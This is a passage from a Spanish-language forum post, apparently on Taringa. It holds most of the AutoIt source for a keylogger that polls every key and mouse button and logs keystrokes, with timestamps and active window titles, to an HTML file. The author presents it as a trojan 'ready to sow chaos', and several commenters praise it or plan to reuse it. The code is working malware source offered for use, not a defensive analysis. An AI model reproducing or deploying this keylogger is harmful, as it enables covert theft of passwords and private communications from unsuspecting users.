_LoggearTecla("w")
Else
_LoggearTecla("W")
EndIf
While _IsPressed ('57') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('58') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("x")
Else
_LoggearTecla("X")
EndIf
While _IsPressed ('58') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('59') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("y")
Else
_LoggearTecla("Y")
EndIf
While _IsPressed ('59') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('5A') = 1 Then
If $CAPSLOCKTOGGLE = 0 Then
_LoggearTecla("z")
Else
_LoggearTecla("Z")
EndIf
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('20') = 1 Then
_LoggearTecla(" ")
While _IsPressed ('20') = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('01') = 1 Then

_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LMS}</i></font>")
While _IsPressed ("01") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('02') = 1 Then

_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RMS}</i></font>")
While _IsPressed ("02") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('04') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{MMS}</i></font>")
While _IsPressed ("04") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('08') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{BS}</i></font>")

While _IsPressed ("08") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('09') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{TAB}</i></font>")
While _IsPressed ("09") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('0d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{EN}</i></font><br>")
While _IsPressed ("0d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('10') Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{SHIFT}</i></font>")
While _IsPressed ("10") = 1
For $n = 30 To 39
If _IsPressed ($n) Then
If StringRight($n, 1) = 0 Then
_LoggearTecla('=')
ElseIf StringRight($n, 1) = 1 Then
_LoggearTecla('!')
ElseIf StringRight($n, 1) = 2 Then
_LoggearTecla('"')
ElseIf StringRight($n, 1) = 3 Then
_LoggearTecla('#')
ElseIf StringRight($n, 1) = 4 Then
_LoggearTecla('$')
ElseIf StringRight($n, 1) = 5 Then
_LoggearTecla('%')
ElseIf StringRight($n, 1) = 6 Then
_LoggearTecla('&')
ElseIf StringRight($n, 1) = 7 Then
_LoggearTecla('/')
ElseIf StringRight($n, 1) = 8 Then
_LoggearTecla('(')
ElseIf StringRight($n, 1) = 9 Then
_LoggearTecla(')')
EndIf
While _IsPressed ($n) = 1
Sleep(1)
WEnd
EndIf
Next
If _IsPressed ('41') = 1 Then _LoggearTecla("A")
While _IsPressed ('41') = 1
Sleep(1)
WEnd
If _IsPressed ('42') = 1 Then _LoggearTecla("B")
While _IsPressed ('42') = 1
Sleep(1)
WEnd
If _IsPressed ('43') = 1 Then _LoggearTecla("C")
While _IsPressed ('43') = 1
Sleep(1)
WEnd
If _IsPressed ('44') = 1 Then _LoggearTecla("D")
While _IsPressed ('44') = 1
Sleep(1)
WEnd
If _IsPressed ('45') = 1 Then _LoggearTecla("E")
While _IsPressed ('45') = 1
Sleep(1)
WEnd
If _IsPressed ('46') = 1 Then _LoggearTecla("F")
While _IsPressed ('46') = 1
Sleep(1)
WEnd
If _IsPressed ('47') = 1 Then _LoggearTecla("G")
While _IsPressed ('47') = 1
Sleep(1)
WEnd
If _IsPressed ('48') = 1 Then _LoggearTecla("H")
While _IsPressed ('48') = 1
Sleep(1)
WEnd
If _IsPressed ('49') = 1 Then _LoggearTecla("I")
While _IsPressed ('49') = 1
Sleep(1)
WEnd
If _IsPressed ('4A') = 1 Then _LoggearTecla("J")
While _IsPressed ('4A') = 1
Sleep(1)
WEnd
If _IsPressed ('4B') = 1 Then _LoggearTecla("K")
While _IsPressed ('4B') = 1
Sleep(1)
WEnd
If _IsPressed ('4C') = 1 Then _LoggearTecla("L")
While _IsPressed ('4C') = 1
Sleep(1)
WEnd
If _IsPressed ('4D') = 1 Then _LoggearTecla("M")
While _IsPressed ('4D') = 1
Sleep(1)
WEnd
If _IsPressed ('4E') = 1 Then _LoggearTecla("N")
While _IsPressed ('4E') = 1
Sleep(1)
WEnd
If _IsPressed ('4F') = 1 Then _LoggearTecla("O")
While _IsPressed ('4F') = 1
Sleep(1)
WEnd
If _IsPressed ('50') = 1 Then _LoggearTecla("P")
While _IsPressed ('50') = 1
Sleep(1)
WEnd
If _IsPressed ('51') = 1 Then _LoggearTecla("Q")
While _IsPressed ('51') = 1
Sleep(1)
WEnd
If _IsPressed ('52') = 1 Then _LoggearTecla("R")
While _IsPressed ('52') = 1
Sleep(1)
WEnd
If _IsPressed ('53') = 1 Then _LoggearTecla("S")
While _IsPressed ('53') = 1
Sleep(1)
WEnd
If _IsPressed ('54') = 1 Then _LoggearTecla("T")
While _IsPressed ('54') = 1
Sleep(1)
WEnd
If _IsPressed ('55') = 1 Then _LoggearTecla("U")
While _IsPressed ('55') = 1
Sleep(1)
WEnd
If _IsPressed ('56') = 1 Then _LoggearTecla("V")
While _IsPressed ('56') = 1
Sleep(1)
WEnd
If _IsPressed ('57') = 1 Then _LoggearTecla("W")
While _IsPressed ('57') = 1
Sleep(1)
WEnd
If _IsPressed ('58') = 1 Then _LoggearTecla("X")
While _IsPressed ('58') = 1
Sleep(1)
WEnd
If _IsPressed ('59') = 1 Then _LoggearTecla("Y")
While _IsPressed ('59') = 1
Sleep(1)
WEnd
If _IsPressed ('5A') = 1 Then _LoggearTecla("Z")
While _IsPressed ('5A') = 1
Sleep(1)
WEnd
WEnd
ElseIf _IsPressed ('11') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CTRL}</i></font>")
While _IsPressed ("11") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('12') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ALT}</i></font>")
While _IsPressed ("12") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('13') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PAUSE}</i></font>")
While _IsPressed ("13") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('14') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{CAPSLOCK}</i></font>")
If $CAPSLOCKTOGGLE = 1 Then
$CAPSLOCKTOGGLE = 0
ElseIf $CAPSLOCKTOGGLE = 0 Then
$CAPSLOCKTOGGLE = 1
EndIf
While _IsPressed ("14") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('1b') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{ESC}</i></font>")
While _IsPressed ("1b") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('21') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PGUP}</i></font>")
While _IsPressed ("21") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('22') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PG_DOWN}</i></font>")
While _IsPressed ("22") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('23') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{END}</i></font>")
While _IsPressed ("23") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('24') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{HOME}</i></font>")
While _IsPressed ("24") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('25') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{LEFT ARROW}</i></font>")
While _IsPressed ("25") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('26') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{UP ARROW}</i></font>")
While _IsPressed ("26") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('27') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{RIGHT ARROW}</i></font>")
While _IsPressed ("27") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('28') = 1 Then
_LoggearTecla("<font color=#008000 style=font-size:9px><i>{DOWN ARROW}</i></font>")
While _IsPressed ("28") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2c') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{PRINT}</i></font>")
While _IsPressed ("2c") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2d') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{INSERT}</i></font>")
While _IsPressed ("2d") = 1
Sleep(1)
WEnd
ElseIf _IsPressed ('2e') = 1 Then
_LoggearTecla("<font color=#FF8000 style=font-size:9px><i>{DEL}</i></font>")
While _IsPressed ("2e") = 1
Sleep(1)
WEnd
EndIf
WEnd
Func _IsPressed($hexKey)
Local $aR, $bRv
$hexKey = '0x' & $hexKey
$aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey)
If $aR[0] <> 0 Then
$bRv = 1
Else
$bRv = 0
EndIf
Return $bRv
EndFunc
Func _LoggearTecla($loggueo)
$window = WinGetTitle("")
If $window = $window2 Then
FileWrite($log, $loggueo)
Else
$window2 = $window
FileWrite($log, "<br><BR>" & "<b>[" & @YEAR & "." & @MON & "." & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & '] Window : "' & $window & '"</b><br>' & $loggueo)
EndIf
EndFunc
Func Terminate()
DllClose($user32)
FileClose($log)
Exit
EndFunc
[/color]
Le pegamos una prueba, mientras escribo esto...



Voilá! Trojano listo para sembrar caos! (si no fuera detectado)
9Comments
      Elargrt

      Lo voy a usar como "base" , se puede "automatizar" para hacer el codigo mas sencillo

      0
      lagartojuancho86

      Te dejo +10 fresquitos por el post. Saludos Renzo.

      0
      linchy69

      wuaoo esto es una bomba valla juguetito que nos has posteado jjj

      muchas gracias saludos

      0
      EngineerX

      Como te podes proteger de esto? en caso de ser un usuario muy noob?

      0
      EngineerX

      Buen post! se agradece tu aporte. Saludos Titan!

      0
      jorge_gris

      ¡Excelente! Me ha costado un testículo entenderlo, porque aún soy muy newbie y estoy en pleno aprendizaje, pero me ha devuelto las ganas de seguir aprendiendo 😈
      ¡Muchas gracias por el aporte!

      0
      PompoNudo

      leí todo...

      mentira. Pero con leer las funciones me alcanza 😊

      decí que los antivirus lo detectan, si no, poner esto en taringa es como darle un cuchillo a un mono.

      genial tu trabajo! +10 de un colega.

      0
      RenzoARG

      Muchísimas gracias Mein Fuhrer.

      0
      RenzoARG

      Por dios, que al pedo estaba cuando lo armé la primera vez!

      0